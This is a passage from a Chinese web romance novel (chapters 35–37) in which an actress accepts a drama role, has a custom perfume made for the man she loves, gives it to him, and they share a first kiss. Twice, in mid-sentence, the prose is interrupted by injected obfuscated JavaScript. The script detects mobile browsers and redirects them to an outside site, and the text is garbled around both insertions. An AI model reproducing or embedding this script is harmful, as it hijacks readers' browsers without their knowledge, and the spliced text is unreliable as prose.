颜屿继续开口,也提醒她,“你是不是忘了今天有件事还没做完。” 元时亦:完。 “哪、哪件啊……”元时亦装傻,打不开车门的那刻,她就隐约间猜到一会儿要面对什么。 覆在两条长腿上的手揪起薄薄布料,她今天穿的是一条低腰微喇裤,上半部分修身,可她最近也没长胖,居然感觉有点紧。 车内冷气还未散,浅浅一缕拂过她裸露在外的腰,吹起一片细密星点。 松掉安全带,颜屿倾身过去,打算自己来。她想不起来就算了,来日方长。 清冽的气息从四面八方包围而来,元时亦不自觉微张开唇瓣,手指攥紧,心脏胡乱撞着,在视野几乎要被淹没干净的瞬间,手机突然传来数条提示音。 屏幕在一片漆黑中亮起。 两道本该缠绕的气流被无形的阻力分割开。 “我……” “你先看吧。”颜屿不想她分心。 “我很快。”说完,她立马滑开手机。 【许其知:[个人名片]续香R.】 【许其知:我让他过几天去一趟岫围】 【许其知:你们自己约时间】 【许其知:不准用我的款】 元时亦:………… 狗东西神经病啊啊啊,谁要用你的款,早不发晚不发偏偏这时候发!!! 元时亦太阳穴跳得厉害,抬眼看向颜屿,视线交错的这刻,只见他浅浅叹了口气,将吻落在她的额头。 35. 决定 饭局结束的当晚,元时亦就回去看了这部古装剧的剧本。 这是一部双女主剧,名为《双珠记》。 故事的开局很俗套,两位女主是高门贵族的一对掌上明珠,姐姐年幼时便与尚是太子的皇帝定下婚约,待及笄后即可入宫,而妹妹心悦皇帝,遂在姐姐大婚当日将她打晕,更换身份,替她入宫。事已至此,为避免换人一事败露,女主家只得承认,姐姐是妹妹,妹妹是姐姐。好在姐妹俩并未在外暴露过真实面貌,此事才能勉强蒙混过关。 元时亦看到这儿,以为会是一部姐妹反目的复仇剧,可她不解的是,妹妹一直以恶女的形象出场,又怎么会是双女主之一,而反转就从这里开始。 事实上,这是一部带了点奇幻色彩的古代文,姐妹俩的真实身份是皇宫正殿上的两颗镇国明珠,然国有衰败之相,明珠不得不投生成人,以身入局更改国运。 既要改此一事,则需一人安内,一人攘外。表面上是妹妹抢下姐姐婚事,实际上是姐姐为保妹妹安危,将她送入最安全之地,如此一来姐姐方能安心投身于征战之事中。 妹妹在宫内控制皇帝,姐姐在疆外保卫家园。姐妹俩意识相连,共同治理家国大业。本以为一切都可顺利发展下去,男主却在此时发现了二人秘密。 男主身为一人之下万人之上的外姓王,本就有反叛之心,在姐姐征战受伤之时,妹妹与姐姐互换意识代为出兵,男主发现了人格不同却并未挑明,他想篡权夺位,需要得到一位重要将领的支持,而姐姐的心如寒冰般难以融化,他便将这番心思打到了天真的妹妹之上。 故事暂时在这里结束,结局尚未完成,只是从文章基调上看,不会是皆大欢喜的好结局。 元时亦合上剧本,说不感兴趣是不可能的,设定很新颖,人物形象她也很喜欢,不用说,她必定是姐姐这一角色。 除了能出演一位又酷又飒的女将军外,在姐妹意识互换的部分,她还能尝试一下娇媚勾人的反差形象,是挑战,也是她一直追寻的转折点。 她不用一上来就去面对自己不熟的领域,而是可以用少量戏份做一个过渡,尤其妹妹这一角的存在,她不仅能近距离观察,还能得到现身说法的现场教学。 打开微信,她找到何曦。 【元时亦:我接】 已至凌晨,她不好去打扰姜洺,再者,做完决定的第一时间,也该是知会经纪人的。 何曦直接拨来电话。 “天,你不会看到现在吧?剧本看完了?” “嗯,快速看了一遍。”元时亦还有些意犹未尽,“很精彩。” “行,你满意就最好,”何曦放宽心,她原以为,元时亦会一直坚守那条原则,不去碰古代市场,“没什么问题的话,我就跟姜导那边对接了,正好我过几天回沪城。” “好。”元时亦应声。 而她所谓的那条原则,其实并非是排斥古装,而是出道那部剧,给她刻下了一层淡却抹不去的阴影,负面反馈过多,一旦她穿上类似服装,她就会想起那些不好的回忆,她知道作为演员,必须克服掉这类心理障碍,只是接触的资源慢慢变多,她有的选,便会下意识避开不利因素,一来二去,这条赛道就再未踏足。 而此刻,她想要转型,一个机会恰好送上,即使是她不曾考虑的古代戏,她也不可能再推拒下去。 但这部剧也不是全无问题,姜洺不愧是有着“无舒适圈”名号的导演,都市爱情剧结束,就立马投身到一个毫无关联的双女主奇幻剧里,而问题也在这个双女主上,虽然现在的市场更加多样化,双女主却依旧算冷门,故事内容暂且不提,选角就是一大难点,既然女主之一选了她,那么另一位女主就最好是与她地位持平的圈内女星,不然番位就会成为问题,除非姜洺找的是资历更深的女演员,否则她最多只能接受平番,这部剧是很难得,但不代表着她一定要为一个冷门市场让步。再者,双女主剧,男主只能做配,愿意给女主让番的男演员并不多见,除非找的就是下一线男星。 所以,即使她这边没什么问题,可能不能找到另外两位合适的演员,就得看姜洺的本事了。 琢磨好这一切,元时亦给颜屿也发去消息。 【元时亦:我决定接啦】 【颜屿:好】 【元时亦:你怎么还没睡】 【颜屿:在等你】 很简单的三个字,却让元时亦心里冒出小焰花。 【元时亦:[戳手指]那万一我早就睡了怎么办】 【颜屿:熬出黑眼圈,让你心疼我】 【颜屿:[比格哭哭]】 【元时亦:……】 靠,这男人太犯规了吧。 【颜屿:没有,我开玩笑的。熬不住我就睡了,重新看一遍你昨天发给我的晚安就好】 【元时亦:噢】 元时亦脸上泛起微红,这人现在说话是越来越不害臊了。 【颜屿:江燚这边你不用担心,他跟姜洺是有些过节,但就事论事,不会迁怒到你身上】 【元时亦:[嗯嗯]】 她想江燚也不会这样,只是觉得稍稍有那么一丢丢对不起他,她不仅在拍戏间接戏,还接的是他“死对头”的戏,还还当他的面。 【颜屿:早点休息吧,不早了】 【元时亦:好】 【颜屿:晚安】 【颜屿:我今天很开心】 虽然最后出现了一点小插曲,但他也很满足。 元时亦粉脸红到热,她抬手扇了扇面颊,调整几次呼吸,才将那几个字打出去。 【元时亦:晚安】 【元时亦:我也是】 - 元时亦把定香的日子选在了送何曦回沪城这天。 她专门腾出一天时间,好把这件事妥善定下。 来到约定好的地点,元时亦推开玻璃门进去。 本应混杂各种香气的房间内却毫无味道,一张大理石桌摆于房间中央,桌上是分类摆放整齐的大小瓶罐,依次排开,数量众多。 元时亦摘下口罩,“不好意思,麻烦你过来一趟了。” 基于许其知的吩咐,调香师特意租借了一间工作室,把能带的香料香精全都带上备齐。 他知道由许其知介绍而来的人必不会是普通人物,可怎么也不会料到会是位当红小花。看清元时亦那张脸的这刻,他两只眼睛明显地睁了睁,出于职业素养,他不会去揣测二人之间的关系,只是这位小花比网络上更好看,一头黑而直的长发,衬光洁无瑕的肌肤更白润如玉,他不由地多停留了一眼。 “不会。许先生说您对气味比较敏感,所以我提前将味道散过,只是选香难免要多闻,如果您有任何不适,请随时告知我。” 元时亦点头:“好。” “不知您有没有相对喜欢的类型,”调香师为她耐心讲解,“香调的种类很多,花香、木质、柑橘、馥奇、东方香,如果您无法接受味道偏重的香,我建议您选木质调或清新调。” 元时亦记得许其知极其喜欢木质调,于是她直接把这类排除,转而看向清新这一列。 每一类香调中的最后一排,都有几瓶作为代表的成品香,在一众五颜六色的小瓶中,她注意到淡蓝色的那瓶,“这瓶可以让我先闻闻吗?” “好的。”调香师拿出一条试香条,对着纸尖轻喷一下,待酒精微微挥发掉,才将它递至元时亦鼻尖下三厘米的位置,“这是我自己调配的一款水生调。” 他本该再将纸凑近点,只是他怕这位特殊的客人无法接受这个浓度,只能先离远一些。 水生? 几乎是一瞬间,元时亦就确定这个类型很适合颜屿。 清凉的海风,干净、淡雅,像一片漾开的汪洋。 她想到颜屿盯她看时的眼神,就如同深海轻涌。海水弥漫,诱她坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290614|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底。 “水生调通常是模仿各类水、水生植物以及夏日瓜果类清新的气息,如海风、海盐,水藻、睡莲,西瓜——” 然而调香师的介绍还未结束,元时亦就感觉到眼前的深棕滴管瓶们扭曲一瞬,一阵短暂的眩晕后,她手掌撑住台面,“不好意思啊,里面好像有一种气味我不太能接受。” 调香师赶紧将纸条撤开,并打开提前备好的小风扇,“应该是西瓜酮。”由于自然界中的空气、海洋类味道太过抽象,无法直接提取,水生调则是由人工合成的一种香,其核心香料便是西瓜酮,“抱歉,这瓶香水里我增加的浓度偏高了点。” 最终两人挑选半天,才将基调确定好,海风,只是其中的西瓜酮浓度需要降到极低,且不能另加花香做搭配。 等元时亦从工作室里出来时,脑子还昏沉着,因为是特意给颜屿准备礼物,她便没有叫来路芙陪伴。一个是此事不可张扬,再一个,她也不太好意思。 扶住墙壁,元时亦缓缓神,没想到定制一个香水能把她晕到这种地步,可是一想起床头的那束花,手机里的那些截图,她又觉得很值。 再加上这是她定制的专属味道,是她挑选的,也是她喜欢的。 来到室外,清凉微风拂过面庞,那点眩晕被吹开,一缕饱胀顺回,将她的心脏填满。 调香师会在离开岫围镇前给她送来几种小样,她可以选择最满意的一种。制香需要时间,好在这边的拍摄进度很不错,大概九月中就可返程,于是她让调香师等制作完成后,直接把成品寄到她家里,等回了沪城,她就可以把这份礼物送给颜屿了。 元时亦伸伸懒腰,一件重要的事完成,心情都愉悦不少。 手机上恰好传来周三月的消息。 【周三月:宝,在忙吗,方便吗[嘘]】 【元时亦:刚忙完,我选完香了,鼻子差点闻麻,不过味道我很喜欢[墨镜]】 【周三月:[恭喜][恭喜]】 【元时亦:怎么了,我在外面,可以直说】 三月很少会这样鬼鬼祟祟,除非,是有什么不太“妙”的事。 【周三月:你什么时候回沪城?】 【元时亦:月中吧】 【周三月:OK,那我就把生日礼物寄你公寓了哈,千万别让阿姨拆[严肃]】 元时亦的生日在九月最后一天,现在才月初,还早得很。 【元时亦:你怎么这么早就给我寄礼物?】 元时亦挑挑眉,而且还不能让其他人帮忙?有问题。 她住沪城时,元家会让从小照顾她的家政阿姨来公寓照顾她,在外地的日子,阿姨才会回主宅。 【周三月:你还记不记得之前我跟你说甘霖他姐找我创业的事】 甘霖家里做的是玩具生意,他上面有一个堂姐。几个月前,三月聊起这事,说她决定跟大姑姐一起创业,准备打造一款专为女性考虑的玩具品牌。 元时亦那时没想太多,基于三月自由画师的职业,她以为会是那种精致手办类玩具,直到后面,她才知道这玩具前面得加两个字,成人。 一提这个,一股微妙心绪涌上,元时亦迅速走到路边靠里的位置,把手机侧起,仿佛在做什么亏心事。 【周三月:第一款出来了,下个月上线,我专门为你定了一款烈焰红,独一无二,保证你喜欢!![爱心]】 【元时亦:……】 已婚后的女人总是相对开放许多,当然,她也不排斥这种事,女性应该正视自己的需求,这并不羞耻。 手指移动,她飞速打下几个字。 【元时亦:记得保密发货】 【周三月:放心放心】 放下手机,元时亦不知怎的,脑海中突然蹦出颜屿那双如深海般的眼眸,面颊霎时滚烫似烙铁。 九月的岫围镇已降了温,空气中浸满凉意,可风一吹,却把她心口吹热了几度。 36. 回礼 剧组最后定下回沪城的日子在九月中下旬。 由于江燚取消了去公开海域拍摄的计划,他们最终比原定的月底提前十多天返回。 不过颜屿不跟他们一起。 片场内,元时亦在折叠椅休息的空档,对着手机屏幕发了会儿呆。 合一那边似乎是有重要的事,颜屿得提前走。 这几日她拍摄任务重,都没怎么跟他好好说过话,然而他今天就要回去了。 等下次见面,至少还有一周。 元时亦比着手指数来数去,原本她还感觉这段时间过得太快,可这么数下来,她又觉得日子好生漫长。 “小元,后面的戏份我给你挪到晚上,你去送送人。”江燚从元时亦身后路过,状似不经意地跟她闲聊。 元时亦乍一下没能理解,“啊、啊?” 江燚就差把“颜屿”两个字写在脸上,“他不是要走了吗,你不想去送送?” “走”字一出,元时亦猛然反应,原来江燚指的是这个送人。只是她向来都以工作为主,“可是一会儿我还有拍摄……” “没事,你要是想去,晚上一样拍,反正你就两场内景,正好我下午还能把这几个配角的镜头再调整调整。” 江燚都说到这份上,她再不答应就显得矫情,毕竟,她确实很想去。 “好,谢谢江导。”元时亦放下东西起身,“我会尽快赶回来。” 离开片场的第一时间,她给颜屿发去消息。 【元时亦:你现在在哪】 【颜屿:还在酒店里,怎么了】 元时亦没回,抵达酒店电梯,她没有选择去顶楼,而是按下相反的方向。 停车场内,那辆熟悉的黑色迈巴赫果然在耐心等候着。 她敲敲车窗。 正在驾驶室内玩手机的陆齐一个激灵,老板不是还有十分钟才来吗? 车窗摇下的瞬间,一张明媚的脸赫然展现,陆齐差点撞到车顶,“元、元老师?” 于是,这位从来都是毕恭毕敬的陆助,非常罕见地催促了下自己的老板,“颜总,您下来了吗?” 在前台退房的颜屿:? 他还以为发来消息的会是元时亦。 回复完陆齐,他重新回到与她的聊天界面,猜她或许去拍戏了。 【颜屿:我准备出发了,好好拍戏,等你回沪城[乖巧]】 而这个本该“好好拍戏”的人,在他拉开车门的下一秒,就这么真切地出现在他面前。 元时亦心中规律的小鼓在这一刻停滞,她清晰地感受到颜屿动作、神色、呼吸的停顿。 停顿后,细碎光点炸开,是从未见过的亮,颜屿双眼总是沉如浓雾,掩藏海底最深那处的情绪,她偶能窥见一隅,就会被涨潮的海水湮没。 而此刻,海面折射曜人的光,朝她扑涌而来。 波浪撞上心尖,激起阵阵小而不散的水花。 “你——”颜屿喉结滚了滚,攥住车门的手缩动骨节,还未缓神。 “江导给我放了几小时的假。”元时亦正回身子,没敢继续看他,她还不习惯他这副模样,太浓烈,招架不住。 颜屿埋身而入,在座位上坐好的那刻,他紧紧握过她的手,不准她躲。 元时亦象征性抽离一下,纹丝不动,她咕哝,“陆齐还在呢……” 放好行李箱上车的陆齐按下后排挡板。 元时亦:…… 宽敞的空间被完全分隔开,却依旧留有足够余地。 元时亦抬眸瞪过去,警告他不许太过分。 颜屿自是知道要注意场合,可无论是谁,在面对巨大惊喜时,都不可能控制得住体内乱窜的情绪。 他尽量压下,没有过火,只抬起她纤白似玉瓷的右手,吻了吻她的指尖。 白瓷被烧红,染上一点粉。 元时亦本是不打算陪他去机场的,她怕不方便赶回,但陆齐表示自己会晚两天走,要把这边善后完,至于沪城那边,有其他人接颜屿。 想了想,她还是坐进了车里。 两个小时时间,值得珍惜。 二人在车里有一搭没一搭聊天。 元时亦:“香水我挑好了,回沪城给你。”调香师给她寄来五种小样,每一种味道都不错,她选了让她完全不会有异样的那瓶。 “好。”吻一下。 “回去那天应该还能休息休息,16号周几来着,嗯……周二,对,下周二。”她提醒他。 “好。”再吻一下。 “那就周二给你吧?” “好。”再再吻一下。 元时亦有些生气地抽动手指,“你有没有听我说话!” “听了,下周二你回沪城给我香水。”颜屿说完,温柔地问她,“我去接你,好吗?” 她来送他,他理应去接她。 “这个不行,我得跟大家一起回来。”再说了,路芙还会形影不离地跟着她呢。 “那我什么时候可以去找你。” “等我到沪城给你发消息吧。” 颜屿思忖了下,然后说,“好。” 看他思考的片刻,元时亦忽然想起什么,“你公司那边最近是不是有事要忙?” “嗯,年底的团体赛要开始准备了。” 元时亦本以为是影视项目的事,却不想颜屿说的是手游相关的内容,“你不是被下放到影视部门了吗?”她眨眼看他,这么说他还管理着游戏。如果是这样的话,就不太需要担心《诸灵》的未来了。 听到她这么问,颜屿微愣了愣,“下放?” “对啊,我看网上传的。” 颜屿轻笑一声,她都在这个圈子里待了这么久,还是会信一些没有切实证据的新闻吗。不过也该怪他,是他自己不想去处理那些假消息,给她造成误会。 他刚要开口解释,却撞上她那略显担忧的眼神,一股不想实话实说的微妙感悠然生出,他重新阖上唇。 很奇怪,他是喜欢逗她,但通常都会在她动怒前好生安抚,可这次他突然不太想。 悄悄垂下眼,那条新闻怎么说的来着,内斗失败? “嗯,算吧,影视部门是上层新开拓的一条投资线,我代为管理。游戏方面,他们还让我干着活,只是不准接触核心业务了。” 在办公室等颜屿回来做下一步指示的夏季打了个喷嚏,怎么感觉有人骂我? 颜屿的语气带着哀怨,还有一缕极淡的悲伤,藏着,不愿让人发觉,元时亦心口陡然揪紧,“这也太过分了,《诸灵》最开始不是你参与设计的吗,他们居然把你赶出局?” 她抚抚颜屿的手背,轻声问他,“那你在公司,岂不是很不容易?”作为一名优秀的开发者,却不被允许参与核心业务,那得是多大的痛苦、遗憾。看来,《诸灵》的未来,还是很需要担心。 颜屿抬起晦暗的双眸,长睫扇动,颔首,“是很不容易,”说罢,他俯身下来,在她耳边很浅的问了句,“那你可以疼疼我吗?” 温热的气息扫过在耳垂,有哀求,又有蛊惑,元时亦心口一片发软,她回视过去,只见颜屿一瞬不瞬地凝视她,等待她,眸子沾上一点水汽,掩盖住微不可察的莫测。 指尖被刮蹭两下,碾磨着,催促着。 她很不受控地点了点头。 就是不知为何,心疼归心疼,她总觉得哪里有点怪怪的。 “你想我怎——” 他凑上来,很轻地啄了下她偏粉的唇。 元时亦脑子懵了懵,她警告过他不准,可他在这种状态下祈求一个吻,好像也不是很过分。 那,那就小小地满足下他的心愿好了。 元时亦倾身,稍稍抬起下颌,精致而细腻的线条顺入,埋进另一条俊雅又柔和的线条里。 她柔软的唇瓣覆上去,多停留几秒,待温度相融,她唇尖轻噘了下,发出一道很浅的“啵”。 这样,应该总行了吧。 她抬身看他,唇间还有残存着不属于她的温度,有点发烫。 就这一愣神的工夫,她瞥见到颜屿眼底那丝得逞的坏,一闪而过,快到让人以为是错觉。 到底怎么回事…… “够了。”颜屿一脸餍足地看她,拇指抚上嘴角,指腹蹭开,将她想要一探究竟的念头全数抹尽。 可火山终究会爆发,他只希望能来得晚一点。 - 七天后,元时亦顺利抵达沪城。 颜屿很听话地没有去机场,但还是等在了她经纪公司的地下停车场里。 元时亦一路鬼祟观察,确定没人发现,才快速溜进车。 “我不是不让你来吗。”她嘴上埋怨着,可扑红的脸还是暴露出那份潜藏不住的欣喜。 她没有让司机送她去剧组定好的酒店,而是扯了个由头折回公司。只是老陶一见到她,就把她拉进办公室,一顿嘘寒问暖关心工作甚至诉问家常,搞得她把这辈子能说的敷衍之言全说了个干净,好在及时赶回的何曦将她救下,不然她还不知道要让颜屿等到几时。何曦让路芙先回了家,接着悄摸把她送去楼下。 太像偷情了。 “你只说不让我去接机,没说不能来这里。” 元时亦气哼哼,给他报了个地址,“融江壹号。” 她的公寓。 她不敢坐前排,而是坐在颜屿正后方的位置。沪城查得严,车前不能贴太遮光的防窥膜。 颜屿从后视镜里看她,“好。” 几天前调香师给她寄来了那瓶定制香,定制款可以有专属的命名,可颜屿在得知编号为“21”后表示,不用改,这个名字他很满意。 虽然会觉得有点可惜,但只要他喜欢就好。 银黑62S缓缓驶入车流,隐没进金色梧桐道。 叶片飘落,树影斑驳,光与影在她素色长裙上交错而过,这是一条她最熟悉不过路,却无端在心中生出一抹未曾有过的期待。 半小时后,车停。 元时亦解开安全带,前方男人却没有要动的意思。 元时亦抚平捏皱的布料,也是,她还是拿下来给他比较好,她跟他,应该还没到可以随意去彼此家里做客的地步。 手指按动把手的这刻,颜屿开口,“几楼?” 两个字在此时乍现,像一枚小炮弹,把她的心湖炸开,水珠四溅,久不能息。 元时亦咬嘴唇,刚刚一路上这么久他不问,非要等到现在问! “1201。”甩出四个数字,元时亦推门而出。 颜屿确实不能跟她一起上楼,这里隐私性是好,但不排除会有眼尖的人。 戴好口罩,元时亦孤身走上电梯。 一百八十平的精装公寓,不算大,她一人住足够。 四室两厅,她把主卧跟衣帽间打通,做成一个大套间,剩下的那两间,则改成多功能娱乐室,加强了隔音,可健身、看电影、打游戏,甚至K歌,展柜里还放了很多品牌方给她寄的礼物,顺带做储藏室用。 她提前让琴姨帮忙收拾了房子和快递,她不在的这些日子里,品牌方的礼品依旧不断,至于其他的,就是三月送她的生日礼物,以及给颜屿定制的香水了。 元时亦开门进去,没有将门关严,留下一小条缝。 门口摆放着一摞礼品盒,琴姨帮她拆掉了外包装,只最上面两个小方盒没有任何标志。 一个纯白,一个纯黑。 完,她跟琴姨说不用帮她拆快递,琴姨是没拆,只是贴心地帮忙撕去了订单信息,琴姨知道她不喜欢弄这个,每次都会帮忙收拾好。 拿起一旁的快递刀,不管了,趁颜屿没上来前火速拆掉! 元时亦拿起白色那盒,按三月的性子,她大概率会给她用黑色包装,她曾说过黑红拼色是最棒的,那香水准是这个白色没错。 锋利刀片划开方盒封口,盒盖开启,一个长直小瓶的logo,猜对了! “叮。” 电梯抵达声响起。 元时亦心口小鹿迅速奔跳,他怎么来得这么快。 把黑盒塞到一堆礼品盒后面,元时亦握住门把手,小鹿跳得她要站不稳,必须得扶着点什么。 端好白色礼盒,她纠结,是就等在门口,还是直接去沙发上坐着。 好像哪种都不是特别好,等在门口显得她很期待似的,去沙发的话,又好像在邀请…… 这么一分神,换鞋的功夫,门外一道力量带过,她一个歪倒,整个人向外栽去。 “小心。”快步赶来的颜屿赶紧将她扶住,一只修长的手掌住她纤瘦的小臂,顺势接过她手里的东西。“抱歉,我不知道你在门口。” “没事。”元时亦心虚地站直身体,都怪自己要想七想八,“先进来吧,你手上拿的就是给你的礼物。”她指指鞋柜边的一次性鞋套机,“鞋套。” 然而门边人戴好鞋套却迟迟没有进来。 元时亦转身,只看到颜屿很明显地吞咽了下喉头,然后问,“确定是这个吗?” 她走过去,“对——” 刺眼的火焰闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杀了她吧! 颜屿会怎么看她,她当时表面上各种反驳、狡辩,而私底下却—— 回忆后知后觉浸满大脑,她感觉身体要转不动了,手伸不过去,嘴说不出话,只有不断消散又重生的尴尬、窘迫、难堪,它们一遍又一遍洗刷她的全身,将意识全数腐蚀。 一只手替她拿到最后方的黑色礼盒。 温润的话落在耳旁,“是这个吗?” 元时亦只会机械点头。 “那过来帮我试试吧,”颜屿轻唤她,垂眸,看她抠到泛白的手指,那幅画面不由再次浮现,喉结又悄滚了下,“刚才那个东西是什么?” 他本想着转移话题,不去刺激她,可现下看着,她脑子里搅成一团,就快被烧干,那他只能,另辟蹊径,以毒攻毒。 “挺漂亮的红色,是什么摆件吗。” 啊啊啊啊,你别再说了!! 还摆件! 摆件你个大头鬼啊! 非要我把那几个字说出来吗!! 等。 元时亦眨眨双眼。 不对,不对。 颜屿不知道那个是什么? 他没见过那种东西? 对啊,女性私密用品,他真不一定见过。 如果她反应一直这么大,那才说明那东西有问题。 对对对! 一定是这样。 元时亦,你是女明星诶,是参加过盛典、大赏、宴会,是被无数人围观、拍照、采访,是见过大世面的人,怎么可以被这么点小场面吓倒。 镇定、镇定,你并没有被看出端倪。 对,正常,放松!Relax! Urperfect! 长长吐完一口气,元时亦跟在颜屿身后,慢慢挪向客厅。 颜屿已自顾自的在沙发上坐下,并拍拍他身边空位,示意,“过来坐。” 好似他才是这间公寓的主人。 被这么一转移注意力,元时亦那糟糕的心情霎时好转许多。 长裙垂下,落进一个小小的凹陷里,柔软的触感传上,那只小鹿总算安静下来,只是缓慢地盯着道路两旁,小心翼翼前进。 调整好呼吸,元时亦划开黑色礼盒。 如果这次再出意外,她就只能先把颜屿赶出家门了。 好在,里面的包装盒上显示的是数字“21”,正是她定的香水。 一瓶淡蓝色男香静静摆放于黑色拉菲草中央,旋转纹路的瓶身,瓶底微往内收,勾出一条凹弧,像一位优雅绅士。 绅士穿着如海水般的西装,行走于广袤无际的黑夜中。 连外瓶都这么适合他。 元时亦将香水拿起,她专门强调了用喷瓶,这样好控制用量。 拇指轻压,她朝二人面前的空间中喷上一点,近乎透明的雾粒散开,一缕清冽的海风吹来,浅而净的水汽,澄澈、清凉,舒适、宜人,身心在这一刻得到舒缓,元时亦不由眯起双眼,整个人终于放松下来,小鹿安稳睡下,蜷成一个小团,这味道,果然让她很满意。 “香吗?” 气味横亘于二人之间,元时亦隔着飘渺的风问颜屿。 而那双深眸却变得更沉,穿过并不浓稠的水雾,直直锁定她。 他的眼中,再无任何一物。 朦胧间,她似乎看到这片海风刮起了另一片风,它自远处,出生、生长、壮大,顺着海面,席卷向前。 海风过境,是另一道海风入侵。 元时亦感觉到耳后的长发被风吹开,一只大手顺势覆上她的后颈。 颜屿就这样吻下来。 香。 想。 很想。 “我很想你。” 元时亦不可置信地瞪大双眼,右手被另一只大手紧紧扣住,大手强行攀进她,将每一处缝隙都填满。空掉的左手下意识想要抓住某物,而面前只有一件男人的衬衫,元时亦不管不顾地攥上去,闭上眼,好让自己不被这道风侵蚀殆尽。 风来得很汹涌,落下时却又太温柔,一点点厮磨她,碾过她的唇瓣,吮吸她的软肉。 在她因颤栗而不受控制地主动打开抵御的城门时,灼热的舌尖顺着唇缝闯入,海风微卷,碰到她的粉舌,然后,风停下。 已习惯、接纳、承受住风的软滩呆楞住。 被裹挟而来的热意蓄进空中还来不及消散,心口的小鹿重新醒神,顶着她胸腔直跳,问她,为什么那阵抚摸它的风停了? 元时亦问不出口,她只能攥紧手中的衣料,提醒他,催促他。 这道无法明说的急切中,两个低哑而诱惑字从唇齿间传来: “教我。” 37. 教学 教我? 元时亦倏地睁开双眼,“你不……” “嗯。” 男人的肌肤贴着她,密匝的睫翼微微震颤,元时亦心头在这一霎跳得更快,颜屿不会接吻? 一丝奇妙的情绪从身体某处涌动而上,元时亦悄悄阖起眼。 那确实得她来教了。 粉舌推抵过去,压入,她来到一片全新的、未知的、属于他的领土。 湿软的内壁,偏硬的骨齿,她并不知自己闯进的是怎样一方天地。 舌尖柔柔滑过齿尖,她轻而易举划开海面,然后,感受到男人僵住的身体。 颈间、手间、唇间的动作全部停下,海水被人从中拨开,浪花四溅,一场海啸即将到来。 纠缠的漩涡迅速卷回原处。 “唔——” 强势的,猛烈的,不可抵挡的。 海啸来临,元时亦被沉溺至底。 每一次窒息,就会被他重新拉出海面。 她在濒死中解脱,又在重生后溺毙。 而后,潮水褪去,温柔地,缓慢地抚拍软滩。 他按揉她的后颈,摁捏她的手指,不断纾解她的不适。 敏感部位全被牢牢圈住,元时亦仿佛置身于一处不带任何危险的阵法里,意识无法找到支点,飘飘地浮在空中,轻盈、惬意,元时亦舒服地呓呻出声,“哼嗯……” 淡淡的水渍声萦绕在空旷客厅,将暧昧弥漫进每一处角落。 元时亦脑袋有些晕了,好久才找回神智,他真的不会接吻吗? 明明就很……会。 直到身体无法再承受,攥着衣服的那只手轻推。 颜屿松开她。 元时亦唇瓣被吻到有点肿,边缘晕染开,润着水膜。她小口呼气,脸颊绯红,垂下眼皮不去看他,“骗人。” “没有,”颜屿指腹拭去她嘴角残液,低语,“是元老师教的好。” 这道称呼被他再一次叫出口,同样的三个字,却在此时此刻蕴藏无人知晓的深意。 绯红一下烧至耳垂。 “其实我也不是很会。” 她拍过吻戏,不多。 八个机位,前后左右不同角度拍摄,没有感情全是技巧。 她脑子里只有好累和下一句台词是什么。 都不是太好的体验。 应该说,在此之前,她不知道那些是不好的体验。 她只知道,不太喜欢这种戏,只能尽量避免、少接,甚至是商量删戏。 “这么说,我学得还可以。” 至少,她看起来是不讨厌的。 颜屿俯首与她对视,眼中情欲浓郁而热烈,抹不去,褪不掉,直勾勾摆在她面前。 元时亦再次躲开。 “理理我。” 不是她不理,是她怕自己又…… 和颜屿接吻,是过分好的体验。 “是我哪里没做好吗?”颜屿去找她的手,他没有接过吻,不清楚事后该如何做。 元时亦终于抬起眼,然而这双明瞳泛着光,眼尾潮红,水波荡漾。 一片潋滟。 砰。 颜屿感觉到心脏在这一刻被击中,一股强烈的欲望冲上,比方才那阵更凶猛。 他立刻将手掌覆上去,被自己蠢笑了。 他简直在找死。 元时亦没理解,不是他让她理他的吗? 怎么又挡她眼睛。 视野消失后,她没有等到解释,而是等到—— “我该走了。” 元时亦:?? 耳边传来一道浅腻气息,“你应该不想我留宿在这吧。” 留、宿? 元时亦猛地反应过来他在说什么。 很委婉,却也很直白。 体内窜出奇怪的火苗,她强行控制住眼神不乱瞟,胡乱点着头。 “嗯嗯嗯那你快回去……” “嗯,”颜屿起身,按停她想要跟来的念头,“不用送。” 将香水瓶整理好,他拿起黑色礼盒,离开元时亦的公寓。 唯一庆幸的,是这件衬衫衣摆够长,能挡住那处异样。 他曾以为,他对她已足够迷恋,可事实上,当第一缕阳光照进他这片海域,海水体会到从未有过的温度,只会想追求更多,索取更多。 阳光被吸收、融入,却探不到底,太少了。 远远不够。 他想要阳光一遍又一遍洒进来,将每一处黑暗角落都照亮,都填满。 颜屿在门外缓神良久,才总算迈开步伐。 岂止迷恋,是贪、是瘾,是无法戒掉的毒药,他甘愿永远沉沦。 - 从岫围镇返回后,剧组大部分配角的戏份就已结束,其中也包括地蚩先生,丁除。鉴于人数众多,江燚便直接举办了一场小的杀青宴。 方想喝了几杯啤酒,抱着丁除不撒手,“呜呜哇丁老师,舍不得你……” 丁除另一边,是苦酒入喉心作痛的周泽洋,没有丁除的场外援助,他又要被那俩“兄妹”狠狠欺负了。 元时亦跟其他三桌喝完酒,座回原位。 添好葡萄酒,她敬丁除一杯,“感谢丁老师一直以来传授的经验,和您合作很开心。” 丁除不是科班出身的演员,但有一套自己的理解方式和异于常人的认真态度,她从他身上学到很多。 “小元客气了。”丁除朝她颔首一笑,端起酒杯,回敬:“祝你事业顺利,生活美满。” “谢谢。” 一旁的舒妤听罢,对着元时亦疯狂挑眉,小声说,“肯定美满,你最近脸上好红润。” 元时亦赶紧摸摸脸颊,“有吗……” 看到舒妤的坏笑,元时亦轻肘过去,睨她,“我明明是喝酒喝的。” 几人说笑的工夫,江燚转到这桌来,身后还跟着一位年轻男生。 这次除了是杀青宴,也是某位角色的欢迎宴,意在送故迎新。 “来,见见你的哥哥姐姐们。” 